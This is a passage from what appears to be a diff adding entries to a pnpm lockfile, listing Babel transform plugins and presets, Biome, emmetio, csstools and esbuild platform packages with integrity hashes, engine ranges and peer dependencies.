sha512-IjM1IoJNw72AZFlj33Cu8X0q2XK/6AaVC3jQu+cgQ5lThWD5ajnuUAml80dqRmOhmPkTH8uAwnpMu9Rvj0LTRA==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0-0 + + '@babel/plugin-transform-computed-properties@7.27.1': + resolution: {integrity: sha512-lj9PGWvMTVksbWiDT2tW68zGS/cyo4AkZ/QTp0sQT0mjPopCmrSkzxeXkznjqBxzDI6TclZhOJbBmbBLjuOZUw==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0-0 + + '@babel/plugin-transform-destructuring@7.28.0': + resolution: {integrity: sha512-v1nrSMBiKcodhsyJ4Gf+Z0U/yawmJDBOTpEB3mcQY52r9RIyPneGyAS/yM6seP/8I+mWI3elOMtT5dB8GJVs+A==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0-0 + + '@babel/plugin-transform-dotall-regex@7.27.1': + resolution: {integrity: sha512-gEbkDVGRvjj7+T1ivxrfgygpT7GUd4vmODtYpbs0gZATdkX8/iSnOtZSxiZnsgm1YjTgjI6VKBGSJJevkrclzw==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0-0 + + '@babel/plugin-transform-duplicate-keys@7.27.1': + resolution: {integrity: sha512-MTyJk98sHvSs+cvZ4nOauwTTG1JeonDjSGvGGUNHreGQns+Mpt6WX/dVzWBHgg+dYZhkC4X+zTDfkTU+Vy9y7Q==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0-0 + + '@babel/plugin-transform-duplicate-named-capturing-groups-regex@7.27.1': + resolution: {integrity: sha512-hkGcueTEzuhB30B3eJCbCYeCaaEQOmQR0AdvzpD4LoN0GXMWzzGSuRrxR2xTnCrvNbVwK9N6/jQ92GSLfiZWoQ==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0 + + '@babel/plugin-transform-dynamic-import@7.27.1': + resolution: {integrity: sha512-MHzkWQcEmjzzVW9j2q8LGjwGWpG2mjwaaB0BNQwst3FIjqsg8Ct/mIZlvSPJvfi9y2AC8mi/ktxbFVL9pZ1I4A==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0-0 + + '@babel/plugin-transform-explicit-resource-management@7.28.0': + resolution: {integrity: sha512-K8nhUcn3f6iB+P3gwCv/no7OdzOZQcKchW6N389V6PD8NUWKZHzndOd9sPDVbMoBsbmjMqlB4L9fm+fEFNVlwQ==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0-0 + + '@babel/plugin-transform-exponentiation-operator@7.27.1': + resolution: {integrity: sha512-uspvXnhHvGKf2r4VVtBpeFnuDWsJLQ6MF6lGJLC89jBR1uoVeqM416AZtTuhTezOfgHicpJQmoD5YUakO/YmXQ==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0-0 + + '@babel/plugin-transform-export-namespace-from@7.27.1': + resolution: {integrity: sha512-tQvHWSZ3/jH2xuq/vZDy0jNn+ZdXJeM8gHvX4lnJmsc3+50yPlWdZXIc5ay+umX+2/tJIqHqiEqcJvxlmIvRvQ==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0-0 + + '@babel/plugin-transform-flow-strip-types@7.27.1': + resolution: {integrity: sha512-G5eDKsu50udECw7DL2AcsysXiQyB7Nfg521t2OAJ4tbfTJ27doHLeF/vlI1NZGlLdbb/v+ibvtL1YBQqYOwJGg==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0-0 + + '@babel/plugin-transform-for-of@7.27.1': + resolution: {integrity: sha512-BfbWFFEJFQzLCQ5N8VocnCtA8J1CLkNTe2Ms2wocj75dd6VpiqS5Z5quTYcUoo4Yq+DN0rtikODccuv7RU81sw==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0-0 + + '@babel/plugin-transform-function-name@7.27.1': + resolution: {integrity: sha512-1bQeydJF9Nr1eBCMMbC+hdwmRlsv5XYOMu03YSWFwNs0HsAmtSxxF1fyuYPqemVldVyFmlCU7w8UE14LupUSZQ==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0-0 + + '@babel/plugin-transform-json-strings@7.27.1': + resolution: {integrity: sha512-6WVLVJiTjqcQauBhn1LkICsR2H+zm62I3h9faTDKt1qP4jn2o72tSvqMwtGFKGTpojce0gJs+76eZ2uCHRZh0Q==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0-0 + + '@babel/plugin-transform-literals@7.27.1': + resolution: {integrity: sha512-0HCFSepIpLTkLcsi86GG3mTUzxV5jpmbv97hTETW3yzrAij8aqlD36toB1D0daVFJM8NK6GvKO0gslVQmm+zZA==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0-0 + + '@babel/plugin-transform-logical-assignment-operators@7.27.1': + resolution: {integrity: sha512-SJvDs5dXxiae4FbSL1aBJlG4wvl594N6YEVVn9e3JGulwioy6z3oPjx/sQBO3Y4NwUu5HNix6KJ3wBZoewcdbw==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0-0 + + '@babel/plugin-transform-member-expression-literals@7.27.1': + resolution: {integrity: sha512-hqoBX4dcZ1I33jCSWcXrP+1Ku7kdqXf1oeah7ooKOIiAdKQ+uqftgCFNOSzA5AMS2XIHEYeGFg4cKRCdpxzVOQ==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0-0 + + '@babel/plugin-transform-modules-amd@7.27.1': + resolution: {integrity: sha512-iCsytMg/N9/oFq6n+gFTvUYDZQOMK5kEdeYxmxt91fcJGycfxVP9CnrxoliM0oumFERba2i8ZtwRUCMhvP1LnA==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0-0 + + '@babel/plugin-transform-modules-commonjs@7.27.1': + resolution: {integrity: sha512-OJguuwlTYlN0gBZFRPqwOGNWssZjfIUdS7HMYtN8c1KmwpwHFBwTeFZrg9XZa+DFTitWOW5iTAG7tyCUPsCCyw==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0-0 + + '@babel/plugin-transform-modules-systemjs@7.27.1': + resolution: {integrity: sha512-w5N1XzsRbc0PQStASMksmUeqECuzKuTJer7kFagK8AXgpCMkeDMO5S+aaFb7A51ZYDF7XI34qsTX+fkHiIm5yA==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0-0 + + '@babel/plugin-transform-modules-umd@7.27.1': + resolution: {integrity: sha512-iQBE/xC5BV1OxJbp6WG7jq9IWiD+xxlZhLrdwpPkTX3ydmXdvoCpyfJN7acaIBZaOqTfr76pgzqBJflNbeRK+w==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0-0 + + '@babel/plugin-transform-named-capturing-groups-regex@7.27.1': + resolution: {integrity: sha512-SstR5JYy8ddZvD6MhV0tM/j16Qds4mIpJTOd1Yu9J9pJjH93bxHECF7pgtc28XvkzTD6Pxcm/0Z73Hvk7kb3Ng==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0 + + '@babel/plugin-transform-new-target@7.27.1': + resolution: {integrity: sha512-f6PiYeqXQ05lYq3TIfIDu/MtliKUbNwkGApPUvyo6+tc7uaR4cPjPe7DFPr15Uyycg2lZU6btZ575CuQoYh7MQ==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0-0 + + '@babel/plugin-transform-nullish-coalescing-operator@7.27.1': + resolution: {integrity: sha512-aGZh6xMo6q9vq1JGcw58lZ1Z0+i0xB2x0XaauNIUXd6O1xXc3RwoWEBlsTQrY4KQ9Jf0s5rgD6SiNkaUdJegTA==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0-0 + + '@babel/plugin-transform-numeric-separator@7.27.1': + resolution: {integrity: sha512-fdPKAcujuvEChxDBJ5c+0BTaS6revLV7CJL08e4m3de8qJfNIuCc2nc7XJYOjBoTMJeqSmwXJ0ypE14RCjLwaw==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0-0 + + '@babel/plugin-transform-object-rest-spread@7.28.0': + resolution: {integrity: sha512-9VNGikXxzu5eCiQjdE4IZn8sb9q7Xsk5EXLDBKUYg1e/Tve8/05+KJEtcxGxAgCY5t/BpKQM+JEL/yT4tvgiUA==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0-0 + + '@babel/plugin-transform-object-super@7.27.1': + resolution: {integrity: sha512-SFy8S9plRPbIcxlJ8A6mT/CxFdJx/c04JEctz4jf8YZaVS2px34j7NXRrlGlHkN/M2gnpL37ZpGRGVFLd3l8Ng==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0-0 + + '@babel/plugin-transform-optional-catch-binding@7.27.1': + resolution: {integrity: sha512-txEAEKzYrHEX4xSZN4kJ+OfKXFVSWKB2ZxM9dpcE3wT7smwkNmXo5ORRlVzMVdJbD+Q8ILTgSD7959uj+3Dm3Q==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0-0 + + '@babel/plugin-transform-optional-chaining@7.27.1': + resolution: {integrity: sha512-BQmKPPIuc8EkZgNKsv0X4bPmOoayeu4F1YCwx2/CfmDSXDbp7GnzlUH+/ul5VGfRg1AoFPsrIThlEBj2xb4CAg==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0-0 + + '@babel/plugin-transform-parameters@7.27.7': + resolution: {integrity: sha512-qBkYTYCb76RRxUM6CcZA5KRu8K4SM8ajzVeUgVdMVO9NN9uI/GaVmBg/WKJJGnNokV9SY8FxNOVWGXzqzUidBg==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0-0 + + '@babel/plugin-transform-private-methods@7.27.1': + resolution: {integrity: sha512-10FVt+X55AjRAYI9BrdISN9/AQWHqldOeZDUoLyif1Kn05a56xVBXb8ZouL8pZ9jem8QpXaOt8TS7RHUIS+GPA==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0-0 + + '@babel/plugin-transform-private-property-in-object@7.27.1': + resolution: {integrity: sha512-5J+IhqTi1XPa0DXF83jYOaARrX+41gOewWbkPyjMNRDqgOCqdffGh8L3f/Ek5utaEBZExjSAzcyjmV9SSAWObQ==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0-0 + + '@babel/plugin-transform-property-literals@7.27.1': + resolution: {integrity: sha512-oThy3BCuCha8kDZ8ZkgOg2exvPYUlprMukKQXI1r1pJ47NCvxfkEy8vK+r/hT9nF0Aa4H1WUPZZjHTFtAhGfmQ==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0-0 + + '@babel/plugin-transform-react-display-name@7.28.0': + resolution: {integrity: sha512-D6Eujc2zMxKjfa4Zxl4GHMsmhKKZ9VpcqIchJLvwTxad9zWIYulwYItBovpDOoNLISpcZSXoDJ5gaGbQUDqViA==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0-0 + + '@babel/plugin-transform-react-jsx-development@7.27.1': + resolution: {integrity: sha512-ykDdF5yI4f1WrAolLqeF3hmYU12j9ntLQl/AOG1HAS21jxyg1Q0/J/tpREuYLfatGdGmXp/3yS0ZA76kOlVq9Q==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0-0 + + '@babel/plugin-transform-react-jsx-self@7.27.1': + resolution: {integrity: sha512-6UzkCs+ejGdZ5mFFC/OCUrv028ab2fp1znZmCZjAOBKiBK2jXD1O+BPSfX8X2qjJ75fZBMSnQn3Rq2mrBJK2mw==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0-0 + + '@babel/plugin-transform-react-jsx-source@7.27.1': + resolution: {integrity: sha512-zbwoTsBruTeKB9hSq73ha66iFeJHuaFkUbwvqElnygoNbj/jHRsSeokowZFN3CZ64IvEqcmmkVe89OPXc7ldAw==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0-0 + + '@babel/plugin-transform-react-jsx@7.27.1': + resolution: {integrity: sha512-2KH4LWGSrJIkVf5tSiBFYuXDAoWRq2MMwgivCf+93dd0GQi8RXLjKA/0EvRnVV5G0hrHczsquXuD01L8s6dmBw==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0-0 + + '@babel/plugin-transform-react-pure-annotations@7.27.1': + resolution: {integrity: sha512-JfuinvDOsD9FVMTHpzA/pBLisxpv1aSf+OIV8lgH3MuWrks19R27e6a6DipIg4aX1Zm9Wpb04p8wljfKrVSnPA==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0-0 + + '@babel/plugin-transform-regenerator@7.28.1': + resolution: {integrity: sha512-P0QiV/taaa3kXpLY+sXla5zec4E+4t4Aqc9ggHlfZ7a2cp8/x/Gv08jfwEtn9gnnYIMvHx6aoOZ8XJL8eU71Dg==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0-0 + + '@babel/plugin-transform-regexp-modifiers@7.27.1': + resolution: {integrity: sha512-TtEciroaiODtXvLZv4rmfMhkCv8jx3wgKpL68PuiPh2M4fvz5jhsA7697N1gMvkvr/JTF13DrFYyEbY9U7cVPA==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0 + + '@babel/plugin-transform-reserved-words@7.27.1': + resolution: {integrity: sha512-V2ABPHIJX4kC7HegLkYoDpfg9PVmuWy/i6vUM5eGK22bx4YVFD3M5F0QQnWQoDs6AGsUWTVOopBiMFQgHaSkVw==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0-0 + + '@babel/plugin-transform-shorthand-properties@7.27.1': + resolution: {integrity: sha512-N/wH1vcn4oYawbJ13Y/FxcQrWk63jhfNa7jef0ih7PHSIHX2LB7GWE1rkPrOnka9kwMxb6hMl19p7lidA+EHmQ==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0-0 + + '@babel/plugin-transform-spread@7.27.1': + resolution: {integrity: sha512-kpb3HUqaILBJcRFVhFUs6Trdd4mkrzcGXss+6/mxUd273PfbWqSDHRzMT2234gIg2QYfAjvXLSquP1xECSg09Q==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0-0 + + '@babel/plugin-transform-sticky-regex@7.27.1': + resolution: {integrity: sha512-lhInBO5bi/Kowe2/aLdBAawijx+q1pQzicSgnkB6dUPc1+RC8QmJHKf2OjvU+NZWitguJHEaEmbV6VWEouT58g==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0-0 + + '@babel/plugin-transform-template-literals@7.27.1': + resolution: {integrity: sha512-fBJKiV7F2DxZUkg5EtHKXQdbsbURW3DZKQUWphDum0uRP6eHGGa/He9mc0mypL680pb+e/lDIthRohlv8NCHkg==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0-0 + + '@babel/plugin-transform-typeof-symbol@7.27.1': + resolution: {integrity: sha512-RiSILC+nRJM7FY5srIyc4/fGIwUhyDuuBSdWn4y6yT6gm652DpCHZjIipgn6B7MQ1ITOUnAKWixEUjQRIBIcLw==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0-0 + + '@babel/plugin-transform-unicode-escapes@7.27.1': + resolution: {integrity: sha512-Ysg4v6AmF26k9vpfFuTZg8HRfVWzsh1kVfowA23y9j/Gu6dOuahdUVhkLqpObp3JIv27MLSii6noRnuKN8H0Mg==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0-0 + + '@babel/plugin-transform-unicode-property-regex@7.27.1': + resolution: {integrity: sha512-uW20S39PnaTImxp39O5qFlHLS9LJEmANjMG7SxIhap8rCHqu0Ik+tLEPX5DKmHn6CsWQ7j3lix2tFOa5YtL12Q==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0-0 + + '@babel/plugin-transform-unicode-regex@7.27.1': + resolution: {integrity: sha512-xvINq24TRojDuyt6JGtHmkVkrfVV3FPT16uytxImLeBZqW3/H52yN+kM1MGuyPkIQxrzKwPHs5U/MP3qKyzkGw==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0-0 + + '@babel/plugin-transform-unicode-sets-regex@7.27.1': + resolution: {integrity: sha512-EtkOujbc4cgvb0mlpQefi4NTPBzhSIevblFevACNLUspmrALgmEBdL/XfnyyITfd8fKBZrZys92zOWcik7j9Tw==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0 + + '@babel/preset-env@7.28.0': + resolution: {integrity: sha512-VmaxeGOwuDqzLl5JUkIRM1X2Qu2uKGxHEQWh+cvvbl7JuJRgKGJSfsEF/bUaxFhJl/XAyxBe7q7qSuTbKFuCyg==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0-0 + + '@babel/preset-flow@7.27.1': + resolution: {integrity: sha512-ez3a2it5Fn6P54W8QkbfIyyIbxlXvcxyWHHvno1Wg0Ej5eiJY5hBb8ExttoIOJJk7V2dZE6prP7iby5q2aQ0Lg==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0-0 + + '@babel/preset-modules@0.1.6-no-external-plugins': + resolution: {integrity: sha512-HrcgcIESLm9aIR842yhJ5RWan/gebQUJ6E/E5+rf0y9o6oj7w0Br+sWuL6kEQ/o/AdfvR1Je9jG18/gnpwjEyA==} + peerDependencies: + '@babel/core': ^7.0.0-0 || ^8.0.0-0 <8.0.0 + + '@babel/preset-react@7.27.1': + resolution: {integrity: sha512-oJHWh2gLhU9dW9HHr42q0cI0/iHHXTLGe39qvpAZZzagHy0MzYLCnCVV0symeRvzmjHyVU7mw2K06E6u/JwbhA==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0-0 + + '@babel/runtime@7.27.6': + resolution: {integrity: sha512-vbavdySgbTTrmFE+EsiqUTzlOr5bzlnJtUv9PynGCAKvfQqjIXbvFdumPM/GxMDfyuGMJaJAU6TO4zc1Jf1i8Q==} + engines: {node: '>=6.9.0'} + + '@babel/template@7.27.2': + resolution: {integrity: sha512-LPDZ85aEJyYSd18/DkjNh4/y1ntkE5KwUHWTiqgRxruuZL2F1yuHligVHLvcHY2vMHXttKFpJn6LwfI7cw7ODw==} + engines: {node: '>=6.9.0'} + + '@babel/traverse@7.28.0': + resolution: {integrity: sha512-mGe7UK5wWyh0bKRfupsUchrQGqvDbZDbKJw+kcRGSmdHVYrv+ltd0pnpDTVpiTqnaBru9iEvA8pz8W46v0Amwg==} + engines: {node: '>=6.9.0'} + + '@babel/types@7.28.4': + resolution: {integrity: sha512-bkFqkLhh3pMBUQQkpVgWDWq/lqzc2678eUyDlTBhRqhCHFguYYGM0Efga7tYk4TogG/3x0EEl66/OQ+WGbWB/Q==} + engines: {node: '>=6.9.0'} + + '@biomejs/biome@2.2.5': + resolution: {integrity: sha512-zcIi+163Rc3HtyHbEO7CjeHq8DjQRs40HsGbW6vx2WI0tg8mYQOPouhvHSyEnCBAorfYNnKdR64/IxO7xQ5faw==} + engines: {node: '>=14.21.3'} + hasBin: true + + '@biomejs/cli-darwin-arm64@2.2.5': + resolution: {integrity: sha512-MYT+nZ38wEIWVcL5xLyOhYQQ7nlWD0b/4mgATW2c8dvq7R4OQjt/XGXFkXrmtWmQofaIM14L7V8qIz/M+bx5QQ==} + engines: {node: '>=14.21.3'} + cpu: [arm64] + os: [darwin] + + '@biomejs/cli-darwin-x64@2.2.5': + resolution: {integrity: sha512-FLIEl73fv0R7dI10EnEiZLw+IMz3mWLnF95ASDI0kbx6DDLJjWxE5JxxBfmG+udz1hIDd3fr5wsuP7nwuTRdAg==} + engines: {node: '>=14.21.3'} + cpu: [x64] + os: [darwin] + + '@biomejs/cli-linux-arm64-musl@2.2.5': + resolution: {integrity: sha512-5Ov2wgAFwqDvQiESnu7b9ufD1faRa+40uwrohgBopeY84El2TnBDoMNXx6iuQdreoFGjwW8vH6k68G21EpNERw==} + engines: {node: '>=14.21.3'} + cpu: [arm64] + os: [linux] + + '@biomejs/cli-linux-arm64@2.2.5': + resolution: {integrity: sha512-5DjiiDfHqGgR2MS9D+AZ8kOfrzTGqLKywn8hoXpXXlJXIECGQ32t+gt/uiS2XyGBM2XQhR6ztUvbjZWeccFMoQ==} + engines: {node: '>=14.21.3'} + cpu: [arm64] + os: [linux] + + '@biomejs/cli-linux-x64-musl@2.2.5': + resolution: {integrity: sha512-AVqLCDb/6K7aPNIcxHaTQj01sl1m989CJIQFQEaiQkGr2EQwyOpaATJ473h+nXDUuAcREhccfRpe/tu+0wu0eQ==} + engines: {node: '>=14.21.3'} + cpu: [x64] + os: [linux] + + '@biomejs/cli-linux-x64@2.2.5': + resolution: {integrity: sha512-fq9meKm1AEXeAWan3uCg6XSP5ObA6F/Ovm89TwaMiy1DNIwdgxPkNwxlXJX8iM6oRbFysYeGnT0OG8diCWb9ew==} + engines: {node: '>=14.21.3'} + cpu: [x64] + os: [linux] + + '@biomejs/cli-win32-arm64@2.2.5': + resolution: {integrity: sha512-xaOIad4wBambwJa6mdp1FigYSIF9i7PCqRbvBqtIi9y29QtPVQ13sDGtUnsRoe6SjL10auMzQ6YAe+B3RpZXVg==} + engines: {node: '>=14.21.3'} + cpu: [arm64] + os: [win32] + + '@biomejs/cli-win32-x64@2.2.5': + resolution: {integrity: sha512-F/jhuXCssPFAuciMhHKk00xnCAxJRS/pUzVfXYmOMUp//XW7mO6QeCjsjvnm8L4AO/dG2VOB0O+fJPiJ2uXtIw==} + engines: {node: '>=14.21.3'} + cpu: [x64] + os: [win32] + + '@capsizecss/unpack@2.4.0': + resolution: {integrity: sha512-GrSU71meACqcmIUxPYOJvGKF0yryjN/L1aCuE9DViCTJI7bfkjgYDPD1zbNDcINJwSSP6UaBZY9GAbYDO7re0Q==} + + '@csstools/selector-resolve-nested@3.1.0': + resolution: {integrity: sha512-mf1LEW0tJLKfWyvn5KdDrhpxHyuxpbNwTIwOYLIvsTffeyOf85j5oIzfG0yosxDgx/sswlqBnESYUcQH0vgZ0g==} + engines: {node: '>=18'} + peerDependencies: + postcss-selector-parser: ^7.0.0 + + '@csstools/selector-specificity@5.0.0': + resolution: {integrity: sha512-PCqQV3c4CoVm3kdPhyeZ07VmBRdH2EpMFA/pd9OASpOEC3aXNGoqPDAZ80D0cLpMBxnmk0+yNhGsEx31hq7Gtw==} + engines: {node: '>=18'} + peerDependencies: + postcss-selector-parser: ^7.0.0 + + '@ctrl/tinycolor@4.1.0': + resolution: {integrity: sha512-WyOx8cJQ+FQus4Mm4uPIZA64gbk3Wxh0so5Lcii0aJifqwoVOlfFtorjLE0Hen4OYyHZMXDWqMmaQemBhgxFRQ==} + engines: {node: '>=14'} + + '@emmetio/abbreviation@2.3.3': + resolution: {integrity: sha512-mgv58UrU3rh4YgbE/TzgLQwJ3pFsHHhCLqY20aJq+9comytTXUDNGG/SMtSeMJdkpxgXSXunBGLD8Boka3JyVA==} + + '@emmetio/css-abbreviation@2.1.8': + resolution: {integrity: sha512-s9yjhJ6saOO/uk1V74eifykk2CBYi01STTK3WlXWGOepyKa23ymJ053+DNQjpFcy1ingpaO7AxCcwLvHFY9tuw==} + + '@emmetio/css-parser@0.4.0': + resolution: {integrity: sha512-z7wkxRSZgrQHXVzObGkXG+Vmj3uRlpM11oCZ9pbaz0nFejvCDmAiNDpY75+wgXOcffKpj4rzGtwGaZxfJKsJxw==} + + '@emmetio/html-matcher@1.3.0': + resolution: {integrity: sha512-NTbsvppE5eVyBMuyGfVu2CRrLvo7J4YHb6t9sBFLyY03WYhXET37qA4zOYUjBWFCRHO7pS1B9khERtY0f5JXPQ==} + + '@emmetio/scanner@1.0.4': + resolution: {integrity: sha512-IqRuJtQff7YHHBk4G8YZ45uB9BaAGcwQeVzgj/zj8/UdOhtQpEIupUhSk8dys6spFIWVZVeK20CzGEnqR5SbqA==} + + '@emmetio/stream-reader-utils@0.1.0': + resolution: {integrity: sha512-ZsZ2I9Vzso3Ho/pjZFsmmZ++FWeEd/txqybHTm4OgaZzdS8V9V/YYWQwg5TC38Z7uLWUV1vavpLLbjJtKubR1A==} + + '@emmetio/stream-reader@2.2.0': + resolution: {integrity: sha512-fXVXEyFA5Yv3M3n8sUGT7+fvecGrZP4k6FnWWMSZVQf69kAq0LLpaBQLGcPR30m3zMmKYhECP4k/ZkzvhEW5kw==} + + '@emnapi/runtime@1.5.0': + resolution: {integrity: sha512-97/BJ3iXHww3djw6hYIfErCZFee7qCtrneuLa20UXFCOTCfBM2cvQHjWJ2EG0s0MtdNwInarqCTz35i4wWXHsQ==} + + '@esbuild/aix-ppc64@0.25.10': + resolution: {integrity: sha512-0NFWnA+7l41irNuaSVlLfgNT12caWJVLzp5eAVhZ0z1qpxbockccEt3s+149rE64VUI3Ml2zt8Nv5JVc4QXTsw==} + engines: {node: '>=18'} + cpu: [ppc64] + os: [aix] + + '@esbuild/android-arm64@0.25.10': + resolution: {integrity: sha512-LSQa7eDahypv/VO6WKohZGPSJDq5OVOo3UoFR1E4t4Gj1W7zEQMUhI+lo81H+DtB+kP+tDgBp+M4oNCwp6kffg==} + engines: {node: '>=18'} + cpu: [arm64] + os: [android] + + '@esbuild/android-arm@0.25.10': + resolution: {integrity: sha512-dQAxF1dW1C3zpeCDc5KqIYuZ1tgAdRXNoZP7vkBIRtKZPYe2xVr/d3SkirklCHudW1B45tGiUlz2pUWDfbDD4w==} + engines: {node: '>=18'} + cpu: [arm] + os: [android] + + '@esbuild/android-x64@0.25.10': + resolution: {integrity: sha512-MiC9CWdPrfhibcXwr39p9ha1x0lZJ9KaVfvzA0Wxwz9ETX4v5CHfF09bx935nHlhi+MxhA63dKRRQLiVgSUtEg==} + engines: {node: '>=18'} + cpu: [x64] + os: [android] + + '@esbuild/darwin-arm64@0.25.10': + resolution: {integrity: sha512-JC74bdXcQEpW9KkV326WpZZjLguSZ3DfS8wrrvPMHgQOIEIG/sPXEN/V8IssoJhbefLRcRqw6RQH2NnpdprtMA==} + engines: {node: '>=18'} + cpu: [arm64] + os: [darwin] + + '@esbuild/darwin-x64@0.25.10': + resolution: {integrity: sha512-tguWg1olF6DGqzws97pKZ8G2L7Ig1vjDmGTwcTuYHbuU6TTjJe5FXbgs5C1BBzHbJ2bo1m3WkQDbWO2PvamRcg==} + engines: {node: '>=18'} + cpu: [x64] + os: [darwin] + + '@esbuild/freebsd-arm64@0.25.10': + resolution: {integrity: sha512-3ZioSQSg1HT2N05YxeJWYR+Libe3bREVSdWhEEgExWaDtyFbbXWb49QgPvFH8u03vUPX10JhJPcz7s9t9+boWg==} + engines: {node: '>=18'} + cpu: [arm64] + os: [freebsd] + + '@esbuild/freebsd-x64@0.25.10': + resolution: {integrity: sha512-LLgJfHJk014Aa4anGDbh8bmI5Lk+QidDmGzuC2D+vP7mv/GeSN+H39zOf7pN5N8p059FcOfs2bVlrRr4SK9WxA==} + engines: {node: '>=18'} + cpu: [x64] + os: [freebsd] + + '@esbuild/linux-arm64@0.25.10': + resolution: {integrity: sha512-5luJWN6YKBsawd5f9i4+c+geYiVEw20FVW5x0v1kEMWNq8UctFjDiMATBxLvmmHA4bf7F6hTRaJgtghFr9iziQ==} + engines: {node: '>=18'} + cpu: [arm64] + os: [linux] + + '@esbuild/linux-arm@0.25.10': + resolution: {integrity: sha512-oR31GtBTFYCqEBALI9r6WxoU/ZofZl962pouZRTEYECvNF/dtXKku8YXcJkhgK/beU+zedXfIzHijSRapJY3vg==} + engines: {node: '>=18'} + cpu: [arm] + os: [linux] + + '@esbuild/linux-ia32@0.25.10': + resolution: {integrity: sha512-NrSCx2Kim3EnnWgS4Txn0QGt0Xipoumb6z6sUtl5bOEZIVKhzfyp/Lyw4C1DIYvzeW/5mWYPBFJU3a/8Yr75DQ==} + engines: {node: '>=18'} + cpu: [ia32] + os: [linux] + + '@esbuild/linux-loong64@0.25.10': + resolution: {integrity: sha512-xoSphrd4AZda8+rUDDfD9J6FUMjrkTz8itpTITM4/xgerAZZcFW7Dv+sun7333IfKxGG8gAq+3NbfEMJfiY+Eg==} + engines: {node: '>=18'} + cpu: [loong64] + os: [linux] + + '@esbuild/linux-mips64el@0.25.10': + resolution: {integrity: sha512-ab6eiuCwoMmYDyTnyptoKkVS3k8fy/1Uvq7Dj5czXI6DF2GqD2ToInBI0SHOp5/X1BdZ26RKc5+qjQNGRBelRA==} + engines: {node: '>=18'} + cpu: [mips64el] + os: [linux] + + '@esbuild/linux-ppc64@0.25.10': + resolution: {integrity: sha512-NLinzzOgZQsGpsTkEbdJTCanwA5/wozN9dSgEl12haXJBzMTpssebuXR42bthOF3z7zXFWH1AmvWunUCkBE4EA==} + engines: {node: '>=18'} + cpu: [ppc64] + os: [linux] + + '@esbuild/linux-riscv64@0.25.10': + resolution: {integrity: sha512-FE557XdZDrtX8NMIeA8LBJX3dC2M8VGXwfrQWU7LB5SLOajfJIxmSdyL/gU1m64Zs9CBKvm4UAuBp5aJ8OgnrA==} + engines: {node: '>=18'} + cpu: [riscv64] + os: [linux] + + '@esbuild/linux-s390x@0.25.10': + resolution: {integrity: sha512-3BBSbgzuB9ajLoVZk0mGu+EHlBwkusRmeNYdqmznmMc9zGASFjSsxgkNsqmXugpPk00gJ0JNKh/97nxmjctdew==} + engines: {node: '>=18'} + 